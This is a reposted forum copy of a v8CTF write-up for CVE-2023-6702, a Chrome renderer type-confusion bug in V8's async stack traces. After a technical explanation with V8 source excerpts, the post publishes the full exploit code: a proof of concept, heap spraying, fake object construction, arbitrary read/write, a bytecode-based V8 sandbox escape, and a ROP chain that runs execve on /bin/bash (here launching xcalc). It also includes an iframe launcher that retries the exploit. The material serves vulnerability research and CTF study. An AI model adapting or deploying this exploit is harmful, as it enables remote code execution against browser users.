Пожалуйста, обратите внимание, что пользователь заблокирован
Description
slides:
git:
github.com
Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (CVE-2023-6702)
Summary
This vulnerability allowed a remote attacker to execute arbitrary code inside the Chrome renderer process.
There was an insufficient type check in the async stack trace handling code. It leads to a type confusion between FunctionContext and NativeContext, causing illegal access to the JSGlobalProxy->hash value. With heap spraying, the attacker was able to inject a fake async stack frame, and construct the fakeobj primitive. Using the fakeobj primitive, the attacker was able to achieve arbitrary code execution in the Chrome renderer process.
Background
Async Stack Trace
Asynchronous is one of the most important feature in JavaScript. In the past, it was difficult to debug asynchronous code with error stack because async functions are not captured in the error stack. Suspended async functions are stored in the callback queue of the event loop not the call stack, so the error stack does not contain the async function. To resolve this issue, V8 provides "async stack trace" feature (by default since V8 v7.3) to capture async function in the error stack. (v8 blog, v8 docs)
Promise.all Resolve Element Closure
"Promise.all Resolve Element Closure" is a helper function to resolve the input promises in the Promise.all function. Promise.all function takes an array of promises and returns a promise that resolves when all of the input promises are resolved. "Promise.all Resolve Element Closure" is a resolve handler of each input promise in the Promise.all function. The role of the function is to resolve the input promise and store the fulfillment value in the result array.
There are 2 points to note about the function:
The Vulnerability
Bug class: Type confusion between FunctionContext and NativeContext
Vulnerability details:
The vulnerability can be triggered by capturing an async stack trace with the already executed "Promise.all Resolve Element Closure" function or similar intrinsic builtin functions. In this exploit, I used the "Promise.all Resolve Element Closure" function as an example.
When an error is thrown in the JavaScript code, V8 captures the error stack from the stack and appends the async stack frames from the current microtask [1].
CaptureAsyncStackTrace function [2] looks up the promise chain and appends the async stack frame according to the async call type (e.g., await, Promise.all, Promise.any).
Below is the snippet of CaptureAsyncStackTrace function which handles the Promise.all case:
While looking up the promise chain, if reaction->fulfill_handler is "Promise.all Resolve Element Closure" builtin function, it appends the async promise combinator frame to the error stack. Then, it moves to the next promise by accessing function->context->capability->promise.
The issue is that the function assumes the "Promise.all Resolve Element Closure" function has not been executed yet. If the "Promise.all Resolve Element Closure" function has already been executed, the context is changed from FunctionContext to NativeContext. It leads to a type confusion between FunctionContext and NativeContext in the CaptureAsyncStackTrace function.
Making the PoC:
The strategy to trigger the vulnerability is as follows:
After explicitly calling the function, to trigger the vulnerability, I used the sample code in the zero-cost async stack trace document to prepare a new promise chain and set the intrinsic builtin function as a fulfill handler of one of the promises.
Finally, when the error is thrown, the async stack trace is captured with the already executed "Promise.all Resolve Element Closure" function as a fulfill handler, leading to a type confusion between FunctionContext and NativeContext.
Here is the PoC code: poc.js
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit primitive: fakeobj primitive
Exploit strategy: To build fakeobj primitive from the type confusion bug, I used the following strategy:
We can check the hash value has a range of (0, 0xfffff) from the following hash generating function:
The hash value is SMI-tagged, so in the memory, it will be stored as hash << 1. Hence, the value in the memory will be in the range of (0, 0xfffff << 1) with even number.
To match the random hash number to a valid JSPromise object pointer, we got 2 constraints:
Here matching the random hash number to a valid object pointer looks quite having low chance. To increase the reliability, I used the iframe technique. Pages from different websites are running in different processes due to site isolation in Chrome. So, I created an iframe with different domain, and ran the exploit in the iframe to avoid the crash of the main process.
After moving to the next promise in the promise chain, the program checks the validity of the promise and tries to append the async stack frame according to the async call type.
We chose kAsyncFunctionAwaitResolveClosure case because the parameter of the AppendAsyncFrame function, generator_object, is fully controllable.
By setting appropriate fake objects such as PromiseReaction, Function, Context, JSGeneratorObject to pass the conditions, we can inject our fake async frame by calling builder->AppendAsyncFrame(generator_object). We can check the injected fake async frame from the terminal.
Here is the fake_frame.js code.
After injecting the fake async frame, I used Error.prepareStackTrace with getThis method to get receiver of the error object (in this case, it's JSGeneratorObject). With the receiver, we can retrieve the fake object from the heap (fakeobj primitive).
Exploit flow: I used the typical exploitation flow for V8 exploits.
exploit.html
fake_frame.js
index.html
poc.js
In today’s digital era, where the internet has become as essential as the air we breathe, the browsers serve as our windows to the vast expanse of the digital world. On top of web surfing, browsers extend their capabilities from being integrated into embedded systems to supporting desktop apps. Browsers are fascinating targets because they are widely used for user interaction, hence browser exploits are frequently utilized in exploit chains. Inspired by the big success of kernelCTF, Google launched v8CTF to gather exploit techniques in the V8 JavaScript engine by rewarding 0day/1day exploits, thereby encouraging security engineers.
In this talk, we will discuss our exploit, which was the second valid submission in the history of v8CTF. To achieve this, we utilized a 1-day vulnerability identified as CVE-2023-6702. Unlike other vulnerabilities, this one is quite unique. It causes a type confusion between a 4-byte hash value and a V8 heap object. This vulnerability, which may have been infeasible to exploit in the past, has become exploitable due to the recent introduction of pointer compression in V8. To exploit this vulnerability, we applied a variety of techniques and successfully achieved a remote code execution with nearly a 100% success rate.
slides:
git:
GitHub - kaist-hacking/CVE-2023-6702: Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (v8ctf submission)
Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (v8ctf submission) - kaist-hacking/CVE-2023-6702
Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (CVE-2023-6702)
Summary
This vulnerability allowed a remote attacker to execute arbitrary code inside the Chrome renderer process.
There was an insufficient type check in the async stack trace handling code. It leads to a type confusion between FunctionContext and NativeContext, causing illegal access to the JSGlobalProxy->hash value. With heap spraying, the attacker was able to inject a fake async stack frame, and construct the fakeobj primitive. Using the fakeobj primitive, the attacker was able to achieve arbitrary code execution in the Chrome renderer process.
Background
Async Stack Trace
Asynchronous is one of the most important feature in JavaScript. In the past, it was difficult to debug asynchronous code with error stack because async functions are not captured in the error stack. Suspended async functions are stored in the callback queue of the event loop not the call stack, so the error stack does not contain the async function. To resolve this issue, V8 provides "async stack trace" feature (by default since V8 v7.3) to capture async function in the error stack. (v8 blog, v8 docs)
Promise.all Resolve Element Closure
"Promise.all Resolve Element Closure" is a helper function to resolve the input promises in the Promise.all function. Promise.all function takes an array of promises and returns a promise that resolves when all of the input promises are resolved. "Promise.all Resolve Element Closure" is a resolve handler of each input promise in the Promise.all function. The role of the function is to resolve the input promise and store the fulfillment value in the result array.
There are 2 points to note about the function:
- It is a intrinsic builtin function and it is not directly accessible from the JavaScript code.
- The context of the function is used as a marker to check whether the function has been executed or not. It has FunctionContext until it was called, and then it has NativeContext after it was called. (v8 code)
The Vulnerability
Bug class: Type confusion between FunctionContext and NativeContext
Vulnerability details:
The vulnerability can be triggered by capturing an async stack trace with the already executed "Promise.all Resolve Element Closure" function or similar intrinsic builtin functions. In this exploit, I used the "Promise.all Resolve Element Closure" function as an example.
When an error is thrown in the JavaScript code, V8 captures the error stack from the stack and appends the async stack frames from the current microtask [1].
C++:
CallSiteBuilder builder(isolate, mode, limit, caller);
VisitStack(isolate, &builder);
// If --async-stack-traces are enabled and the "current microtask" is a
// PromiseReactionJobTask, we try to enrich the stack trace with async
// frames.
if (v8_flags.async_stack_traces) {
CaptureAsyncStackTrace(isolate, &builder);
}
CaptureAsyncStackTrace function [2] looks up the promise chain and appends the async stack frame according to the async call type (e.g., await, Promise.all, Promise.any).
Below is the snippet of CaptureAsyncStackTrace function which handles the Promise.all case:
C++:
} else if (IsBuiltinFunction(isolate, reaction->fulfill_handler(),
Builtin::kPromiseAllResolveElementClosure)) {
Handle<JSFunction> function(JSFunction::cast(reaction->fulfill_handler()),
isolate);
Handle<Context> context(function->context(), isolate);
Handle<JSFunction> combinator(context->native_context()->promise_all(),
isolate);
builder->AppendPromiseCombinatorFrame(function, combinator);
// Now peak into the Promise.all() resolve element context to
// find the promise capability that's being resolved when all
// the concurrent promises resolve.
int const index =
PromiseBuiltins::kPromiseAllResolveElementCapabilitySlot;
Handle<PromiseCapability> capability(
PromiseCapability::cast(context->get(index)), isolate);
if (!IsJSPromise(capability->promise())) return;
promise = handle(JSPromise::cast(capability->promise()), isolate);
} else if (
While looking up the promise chain, if reaction->fulfill_handler is "Promise.all Resolve Element Closure" builtin function, it appends the async promise combinator frame to the error stack. Then, it moves to the next promise by accessing function->context->capability->promise.
The issue is that the function assumes the "Promise.all Resolve Element Closure" function has not been executed yet. If the "Promise.all Resolve Element Closure" function has already been executed, the context is changed from FunctionContext to NativeContext. It leads to a type confusion between FunctionContext and NativeContext in the CaptureAsyncStackTrace function.
Making the PoC:
The strategy to trigger the vulnerability is as follows:
- Get the "Promise.all Resolve Element Closure" function which is an intrinsic builtin function.
- Explicitly call the "Promise.all Resolve Element Closure" function to change the context from FunctionContext to NativeContext.
- Set the "Promise.all Resolve Element Closure" function as a fulfill handler of a promise with a new promise chain.
- Throw an error in the promise chain and capture the async stack trace.
After explicitly calling the function, to trigger the vulnerability, I used the sample code in the zero-cost async stack trace document to prepare a new promise chain and set the intrinsic builtin function as a fulfill handler of one of the promises.
Finally, when the error is thrown, the async stack trace is captured with the already executed "Promise.all Resolve Element Closure" function as a fulfill handler, leading to a type confusion between FunctionContext and NativeContext.
Here is the PoC code: poc.js
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit primitive: fakeobj primitive
Exploit strategy: To build fakeobj primitive from the type confusion bug, I used the following strategy:
- Heap spray with JSPromise objects to match the random hash number to a valid JSPromise object pointer.
- Use the hash value as the valid JSPromise object pointer and inject the fake async stack frame.
- Use Error.prepareStackTrace with getThis method to retrieve the fake object.
We can check the hash value has a range of (0, 0xfffff) from the following hash generating function:
C++:
int Isolate::GenerateIdentityHash(uint32_t mask) {
int hash;
int attempts = 0;
do {
hash = random_number_generator()->NextInt() & mask;
} while (hash == 0 && attempts++ < 30);
return hash != 0 ? hash : 1;
}
Код:
pwndbg> p/x mask
$1 = 0xfffff
The hash value is SMI-tagged, so in the memory, it will be stored as hash << 1. Hence, the value in the memory will be in the range of (0, 0xfffff << 1) with even number.
To match the random hash number to a valid JSPromise object pointer, we got 2 constraints:
- Interpreted pointer address should be an odd number.
- We have to spray the heap in range (0, 0xfffff << 1).
Here matching the random hash number to a valid object pointer looks quite having low chance. To increase the reliability, I used the iframe technique. Pages from different websites are running in different processes due to site isolation in Chrome. So, I created an iframe with different domain, and ran the exploit in the iframe to avoid the crash of the main process.
After moving to the next promise in the promise chain, the program checks the validity of the promise and tries to append the async stack frame according to the async call type.
C++:
while (!builder->Full()) {
// Check that the {promise} is not settled.
if (promise->status() != Promise::kPending) return;
// Check that we have exactly one PromiseReaction on the {promise}.
if (!IsPromiseReaction(promise->reactions())) return;
Handle<PromiseReaction> reaction(
PromiseReaction::cast(promise->reactions()), isolate);
if (!IsSmi(reaction->next())) return;
// Check if the {reaction} has one of the known async function or
// async generator continuations as its fulfill handler.
if (IsBuiltinFunction(isolate, reaction->fulfill_handler(),
Builtin::kAsyncFunctionAwaitResolveClosure) ||
IsBuiltinFunction(isolate, reaction->fulfill_handler(),
Builtin::kAsyncGeneratorAwaitResolveClosure) ||
IsBuiltinFunction(
isolate, reaction->fulfill_handler(),
Builtin::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
// Now peek into the handlers' AwaitContext to get to
// the JSGeneratorObject for the async function.
Handle<Context> context(
JSFunction::cast(reaction->fulfill_handler())->context(), isolate);
Handle<JSGeneratorObject> generator_object(
JSGeneratorObject::cast(context->extension()), isolate);
CHECK(generator_object->is_suspended());
// Append async frame corresponding to the {generator_object}.
builder->AppendAsyncFrame(generator_object);
We chose kAsyncFunctionAwaitResolveClosure case because the parameter of the AppendAsyncFrame function, generator_object, is fully controllable.
By setting appropriate fake objects such as PromiseReaction, Function, Context, JSGeneratorObject to pass the conditions, we can inject our fake async frame by calling builder->AppendAsyncFrame(generator_object). We can check the injected fake async frame from the terminal.
Код:
Error: Let's have a look...
at bar (../../../../fake_frame.js:168:15)
at async foo (../../../../fake_frame.js:163:9)
at async Promise.all (index 0)
at async Array.sloppy_func (../../../../fake_frame.js:1:1)
Here is the fake_frame.js code.
After injecting the fake async frame, I used Error.prepareStackTrace with getThis method to get receiver of the error object (in this case, it's JSGeneratorObject). With the receiver, we can retrieve the fake object from the heap (fakeobj primitive).
Exploit flow: I used the typical exploitation flow for V8 exploits.
- Using the fakeobj primitive, I planted and retrieved the fake OOB array.
- Using the fake OOB array, I constructed caged_read/caged_write primitives.
- Towards the RCE, I refered to the technique that shared from the Google CTF 2023. To escape the V8 sandbox, I corrupted the BytecodeArray object to execute arbitrary bytecode. Using Ldar/Star instructions with out-of-bounds access, we can read/write the stack. To leak the chrome binary base address, I read a return address from the stack to leak lower 32 bits of the base address, and read a libc heap pointer to get high 16 bits of the address. Then, I corrupted the frame pointer for stack pivoting and execute the ROP chain to achieve RCE.
exploit.html
HTML:
<html>
<body>
<script>
function assert(val) {
if (!val)
throw "Assertion Failed";
}
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.dv = new DataView(this.buf);
this.u8 = new Uint8Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.index = 0;
}
pair_i32_to_f64(p1, p2) {
this.u32[0] = p1;
this.u32[1] = p2;
return this.f64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
set_i64(i) {
this.u64[0] = i;
}
set_l(i) {
this.u32[0] = i;
}
set_h(i) {
this.u32[1] = i;
}
get_i64() {
return this.u64[0];
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}
mark_sweep_gc() {
new ArrayBuffer(0x7fe00000);
}
scavenge_gc() {
for (var i = 0; i < 8; i++) {
this.add_ref(new ArrayBuffer(0x200000));
}
this.add_ref(new ArrayBuffer(8));
}
trap() {
while (1) {
}
}
}
const fakeStack2 = new BigUint64Array(0x1000);
var helper = new Helpers();
function hex(x) {
return `0x${x.toString(16)}`;
}
const sloppy_func_addr = 0x004fa21;
const fake_objs_elems_addr = 0x004fb0d;
const oob_arr_draft_elem_addr = 0x004fb95;
const sloppy_func = () => {};
const fake_objs = new Array(
/* +0x08 */ helper.pair_i32_to_f64(0x00190485, 0x00000219), // OOB array
/* +0x10 */ helper.pair_i32_to_f64(oob_arr_draft_elem_addr, 0x42424242),
/* +0x18 */ helper.pair_i32_to_f64(0x000013cd, 0x00000000), // PromiseReaction // 0x004fb35
/* +0x20 */ helper.pair_i32_to_f64(0x00000251, fake_objs_elems_addr + 0x30),
/* +0x28 */ helper.pair_i32_to_f64(0x00000251, 0x00000251),
/* +0x30 */ helper.pair_i32_to_f64(0x00184665, 0x00000219), // Function
/* +0x38 */ helper.pair_i32_to_f64(0x00000219, 0x00043c80),
/* +0x40 */ helper.pair_i32_to_f64(0x00025575, fake_objs_elems_addr + 0x48),
/* +0x48 */ helper.pair_i32_to_f64(0x00183e65, 0x43434343), // Context
/* +0x50 */ helper.pair_i32_to_f64(0x45454545, 0x47474747),
/* +0x58 */ helper.pair_i32_to_f64(fake_objs_elems_addr + 0x60, 0x0),
/* +0x60 */ helper.pair_i32_to_f64(0x00199859, 0x00000219), // JSGeneratorObject
/* +0x68 */ helper.pair_i32_to_f64(0x00000219, sloppy_func_addr),
/* +0x70 */ helper.pair_i32_to_f64(0x00183e65, fake_objs_elems_addr + 0x8),
/* +0x78 */ helper.pair_i32_to_f64(0x41414141, 0xdeadbeef),
/* +0x80 */ helper.pair_i32_to_f64(0x00000000, 0x23232323),
);
const oob_arr_draft = [1.1,];
// elements: 0x4e5c5
var addrOf_arr = [{}, 12.34, 2.3, 2.4, 2.5];
// addrOf: 0x4e655
var aarw_arr = [2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8];
var arb = new ArrayBuffer(0x100);
function addrOf(obj) {
addrOf_arr[0] = obj;
return helper.ftoil(oob_arr[0x20 / 8]);
}
function arbRead(addr) {
oob_arr[0xb0 / 8] = helper.pair_i32_to_f64(addr - 8, 0x00000010);
return helper.f64toi64(aarw_arr[0]);
}
function arbWrite(addr, data) {
oob_arr[0xb0 / 8] = helper.pair_i32_to_f64(addr - 8, 0x00000010);
aarw_arr[0] = helper.i64tof64(data);
}
// Spray JSPromise
const jspromise = [
helper.pair_i32_to_f64(0x0, 0x00192871 << 8),
helper.pair_i32_to_f64(0x00000219 << 8, 0x00000219 << 8),
helper.pair_i32_to_f64((fake_objs_elems_addr + 0x18) << 8, 0x0),
];
var xx = new Array(1.1, 1.2);
for (let i = 0; i < 0xc00; i++) {
xx.push(jspromise[0]);
xx.push(jspromise[1]);
xx.push(jspromise[2]);
}
var xx2 = new Array(1.1, 1.2);
for (let i = 0; i < 0xc00; i++) {
xx2.push(jspromise[0]);
xx2.push(jspromise[1]);
xx2.push(jspromise[2]);
}
var xx3 = new Array(1.1, 1.2);
for (let i = 0; i < 0x400; i++) {
xx3.push(jspromise[0]);
xx3.push(jspromise[1]);
xx3.push(jspromise[2]);
}
var oob_arr;
Error.prepareStackTrace = function (error, frames) {
if (frames.length < 3) {
console.error("No fake async stack frame");
} else {
console.error("I GOT MY FAKE ASYNC STACK FRAME");
oob_arr = frames[2].getThis();
}
}
/////////////// Trigger the bug ///////////////
var closure;
function Constructor(executor) {
executor(()=>{}, ()=>{});
}
Constructor.resolve = function(v) {
return v;
};
let p1 = {
then(onFul, onRej) {
closure = onFul;
closure(1);
}
};
async function boo(x) {
await bar(x).then(closure);
}
async function bar(x) {
await x;
throw new Error("Let's have a look...");
}
async function foo() {
await Promise.all.call(Constructor, [p1]);
boo(1).catch(e => {
e.stack;
if (oob_arr == undefined) {
console.error("oob fail");
throw "done.";
}
console.info("=============OOB SUCCESS============");
const d8LeakOffset = 0x5b5fefe4n - 0x55554000n;
// Below gadgets are offset based on d8 base
const retOffset = 0x27bf022n; // ret;
const popRdiOffset = 0x281787fn; // pop rdi; ret;
const popRsiOffset = 0x27f248fn; // pop rsi; ret;
const popRdxOffset = 0x280630cn; // pop rdx; ret;
const popRaxOffset = 0x292a3d0n; // pop rax; ret;
const syscallOffset = 0x27e3ef8n; // syscall;
function BytecodeView(fn) {
const func_addr = addrOf(fn);
console.error(`func_addr at ${hex(func_addr)}`);
// SharedFunctionInfo
const sfi_addr = arbRead(func_addr + 0x10) & 0x00000000FFFFFFFFn;
console.error(`sfi_addr at ${hex(sfi_addr)}`);
// NOTE:
// `BytecodeArray`: *(sfi_addr + 8)
// It includes metadata and bytecode.
// 0x20 offset is the start of bytecode.
const bytecode_addr = (arbRead(Number(sfi_addr)) >> 32n) - 1n + 0x22n;
console.error(`bytecode_addr at ${hex(bytecode_addr)}`);
let u8_ab = new ArrayBuffer(0x20);
// Overwrite backing_store address to bytecode_addr
arbWrite(addrOf(u8_ab) + 0x20, bytecode_addr << 24n);
return new Uint8Array(u8_ab);
}
function getCageBase() {
const mv = arbRead(0 + 1 + 3 * 8);
return (mv & 0xffffffff00000000n);
}
let page_offset = arbRead(addrOf(fakeStack2) + 0x30) & 0x0f000000n;
function getLibcHeapPointer() {
console.log(" [+] page_offset:", hex(page_offset));
let victim = new ArrayBuffer(256);
arbWrite(addrOf(victim) + 0x20, 0x04000000n); // lower
arbWrite(addrOf(victim) + 0x24, page_offset | 0x00000010n); // higher
let uint32view = new Uint32Array(victim);
let mv = uint32view[0];
console.log("Upper:", hex(mv));
return BigInt(mv) << 32n;
}
function hax1(a, b) {
return a + b + 1;
}
hax1();
console.error("READY");
const cageBase = getCageBase();
console.error(`Cage base at ${hex(cageBase)}`);
const bv = BytecodeView(hax1);
let i = 0;
function emit(x) {
bv[i] = x;
i++;
}
function reset() {
i = 0;
}
reset();
// LdarExtraWide frame pointer
emit(1);
emit(0xb);
emit(0x01);
emit(0);
emit(0);
emit(0);
// ret
emit(0xaa);
// Builtins_LdarExtraWideHandler
let d8Leak = hax1() << 1;
if (d8Leak < 0) {
d8Leak = 0x100000000 + d8Leak;
}
console.error(`d8 leak: ${hex(d8Leak)}`);
const upper = (getLibcHeapPointer() & 0xffffffff00000000n);
console.error(`upper: ${hex(upper)}`);
const d8base = upper + (BigInt(d8Leak) - d8LeakOffset);
console.error(`d8 at ${hex(d8base)}`);
// --------------------------------------------------------------------
// Make fake stack
// --------------------------------------------------------------------
const fakeStack = new BigUint64Array(8);
const fakeStackBuf = (arbRead(addrOf(fakeStack) + 0x30) >> 32n) + 0x7n;
console.error(`fake stack data at ${hex(fakeStackBuf)}`);
const fakeBytecode = new Uint8Array(64);
const fakeBytecodeAddress = cageBase + ((arbRead(addrOf(fakeBytecode) + 0x30) >> 32n) + 0x7n);
console.error(`fake bytecode at ${hex(fakeBytecodeAddress)}`);
const fakeStackBuf2 = cageBase + (page_offset << 8n) + 0xc000n;
console.error(`fake stack data 2 at ${hex(fakeStackBuf2)}`);
console.error(`fake stack TypedArray at ${hex(cageBase + BigInt(addrOf(fakeStack)) - 1n)}`);
// r9
fakeStack[3] = 0n << 9n;
// r12
fakeStack[4] = fakeBytecodeAddress << 8n;
// rcx
const stackOffset = (fakeStackBuf2 - (cageBase + BigInt(fakeStackBuf) + 5n * 8n)) >> 3n;
console.error(`Stack offset: ${hex(stackOffset)}`); // 0x1fff5cef
fakeStack[5] = stackOffset << 8n;
fakeStack[6] = 0n;
fakeBytecode[0] = 0xaa;
fakeBytecode[0x17 + 3] = 0x0;
reset();
// ldar a0
emit(0xb);
emit(3);
// star frame pointer
emit(24);
emit(0);
// ret
emit(0xaa);
const rop_i_init = fakeBytecodeAddress % 8n == 0 ? 4 : 3;
let rop_i = rop_i_init;
const rop_shift = 8n * (fakeBytecodeAddress % 8n == 0 ? 1n : 5n);
function rop(x) {
const val = BigInt(x);
if (rop_i == rop_i_init) {
arbWrite(addrOf(fakeStack) + 1 + 0x8, val);
} else {
fakeStack2[rop_i] |= val << rop_shift;
fakeStack2[rop_i + 1] = val >> (64n - rop_shift);
}
rop_i++;
}
function rebase(x) {
return d8base + BigInt(x);
}
const argv0 = fakeStackBuf2 + 0x800n * 8n;
const argv1 = fakeStackBuf2 + 0x800n * 8n + 0xAn;
const argv2 = fakeStackBuf2 + 0x800n * 8n + 0xDn;
const argv_address = fakeStackBuf2 + 0x900n * 8n;
const env1 = fakeStackBuf2 + 0x800n * 8n + 0x13n;
const env_address = fakeStackBuf2 + 0x900n * 8n + 8n*4n;
// 0123456789ABCDE..
const cmd = `/bin/bash?-c?xcalc?DISPLAY=:0?`.replaceAll('?', String.fromCharCode([0]));
const dv = new DataView(fakeStack2.buffer);
for (let i = 0; i < cmd.length; i++) {
dv.setUint8(0x800 * 8 + i, cmd.charCodeAt(i));
}
fakeStack2[0x900] = argv0;
fakeStack2[0x901] = argv1;
fakeStack2[0x902] = argv2;
fakeStack2[0x903] = 0n;
fakeStack2[0x904] = env1;
fakeStack2[0x905] = 0n;
rop(rebase(retOffset));
//rop(rebase(0x41414141n))
// execve("/bin/sh")
rop(rebase(popRdiOffset));
rop(argv0);
rop(rebase(popRsiOffset));
rop(argv_address);
rop(rebase(popRdxOffset));
rop(env_address);
rop(rebase(popRaxOffset));
rop(59);
rop(rebase(syscallOffset));
hax1(fakeStack);
});
}
foo();
</script>
</body>
</html>
fake_frame.js
JavaScript:
function assert(val) {
if (!val)
throw "Assertion Failed";
}
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.dv = new DataView(this.buf);
this.u8 = new Uint8Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.index = 0;
}
pair_i32_to_f64(p1, p2) {
this.u32[0] = p1;
this.u32[1] = p2;
return this.f64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
set_i64(i) {
this.u64[0] = i;
}
set_l(i) {
this.u32[0] = i;
}
set_h(i) {
this.u32[1] = i;
}
get_i64() {
return this.u64[0];
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}
mark_sweep_gc() {
new ArrayBuffer(0x7fe00000);
}
scavenge_gc() {
for (var i = 0; i < 8; i++) {
this.add_ref(new ArrayBuffer(0x200000));
}
this.add_ref(new ArrayBuffer(8));
}
trap() {
while (1) {
}
}
}
var helper = new Helpers();
function hex(x) {
return `0x${x.toString(16)}`;
}
const sloppy_func_addr = 0x04eb61;
const fake_objs_elems_addr = 0x004ec4d;
const oob_arr_draft_elem_addr = 0x04ecd5;
const sloppy_func = () => {};
// %DebugPrint(sloppy_func);
const fake_objs = new Array(
/* +0x08 */ helper.pair_i32_to_f64(0x0018ed75, 0x00000219), // OOB array
/* +0x10 */ helper.pair_i32_to_f64(oob_arr_draft_elem_addr, 0x42424242),
/* +0x18 */ helper.pair_i32_to_f64(0x000013cd, 0x00000000), // PromiseReaction
/* +0x20 */ helper.pair_i32_to_f64(0x00000251, fake_objs_elems_addr + 0x30),
/* +0x28 */ helper.pair_i32_to_f64(0x00000251, 0x00000251),
/* +0x30 */ helper.pair_i32_to_f64(0x001843bd, 0x00000219), // Function
/* +0x38 */ helper.pair_i32_to_f64(0x00000219, 0x00043c80),
/* +0x40 */ helper.pair_i32_to_f64(0x00025575, fake_objs_elems_addr + 0x48),
/* +0x48 */ helper.pair_i32_to_f64(0x00191895, 0x43434343), // Context
/* +0x50 */ helper.pair_i32_to_f64(0x45454545, 0x47474747),
/* +0x58 */ helper.pair_i32_to_f64(fake_objs_elems_addr + 0x60, 0x0),
/* +0x60 */ helper.pair_i32_to_f64(0x0019beed, 0x00000219), // JSGeneratorObject
/* +0x68 */ helper.pair_i32_to_f64(0x00000219, sloppy_func_addr),
/* +0x70 */ helper.pair_i32_to_f64(0x0019190d, fake_objs_elems_addr + 0x8),
/* +0x78 */ helper.pair_i32_to_f64(0x41414141, 0xdeadbeef),
/* +0x80 */ helper.pair_i32_to_f64(0x00000000, 0x23232323),
);
// %DebugPrint(fake_objs);
const oob_arr_draft = [1.1,];
// %DebugPrint(oob_arr_draft);
// Spray JSPromise
const jspromise = [
helper.pair_i32_to_f64(0x0, 0x0018b5a9 << 8),
helper.pair_i32_to_f64(0x00000219 << 8, 0x00000219 << 8),
helper.pair_i32_to_f64((fake_objs_elems_addr + 0x18) << 8, 0x0),
];
// %DebugPrint(jspromise);
var xx = new Array(1.1, 1.2);
for (let i = 0; i < 0xcc00; i++) {
xx.push(jspromise[0]);
xx.push(jspromise[1]);
xx.push(jspromise[2]);
}
// %DebugPrint(xx);
var xx2 = new Array(1.1, 1.2);
for (let i = 0; i < 0xc00; i++) {
xx2.push(jspromise[0]);
xx2.push(jspromise[1]);
xx2.push(jspromise[2]);
}
// %DebugPrint(xx2);
var xx3 = new Array(1.1, 1.2);
for (let i = 0; i < 0x400; i++) {
xx3.push(jspromise[0]);
xx3.push(jspromise[1]);
xx3.push(jspromise[2]);
}
// %DebugPrint(xx3);
var oob_arr;
function trigger() {
var closure;
function Constructor(executor) {
executor(()=>{}, ()=>{});
}
Constructor.resolve = function(v) {
return v;
};
let p1 = {
then(onFul, onRej) {
closure = onFul;
closure(1);
// %DebugPrint(closure);
}
};
async function foo() {
await Promise.all.call(Constructor, [p1]);
await bar(1);
}
async function bar(x) {
await x;
throw new Error("Let's have a look...");
}
foo()
.then(closure)
.catch(e => console.log(e.stack));
}
trigger();
index.html
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
// Create iframes with different domains
// In demo, we will open the page with localhost:8000
async function createIframes() {
const baseUrl = 'http://127.0.0.1:8000';
const numIframes = 1000;
for (let i = 1; i <= numIframes; i++) {
const iframe = document.createElement('iframe');
iframe.src = `${baseUrl}/exploit.html`;
iframe.width = '300';
iframe.height = '200';
document.body.appendChild(iframe);
await new Promise(r => setTimeout(r, 500));
document.body.removeChild(iframe);
}
}
window.onload = createIframes;
</script>
</body>
</html>
poc.js
JavaScript:
var closure;
function Constructor(executor) {
executor(()=>{}, ()=>{});
}
Constructor.resolve = function(v) {
return v;
};
let p1 = {
then(onFul, onRej) {
closure = onFul;
closure(1);
}
};
async function foo() {
await Promise.all.call(Constructor, [p1]);
await bar(1);
}
async function bar(x) {
await x;
throw new Error("Let's have a look...");
}
foo()
.then(closure)
.catch(e => console.log(e.stack));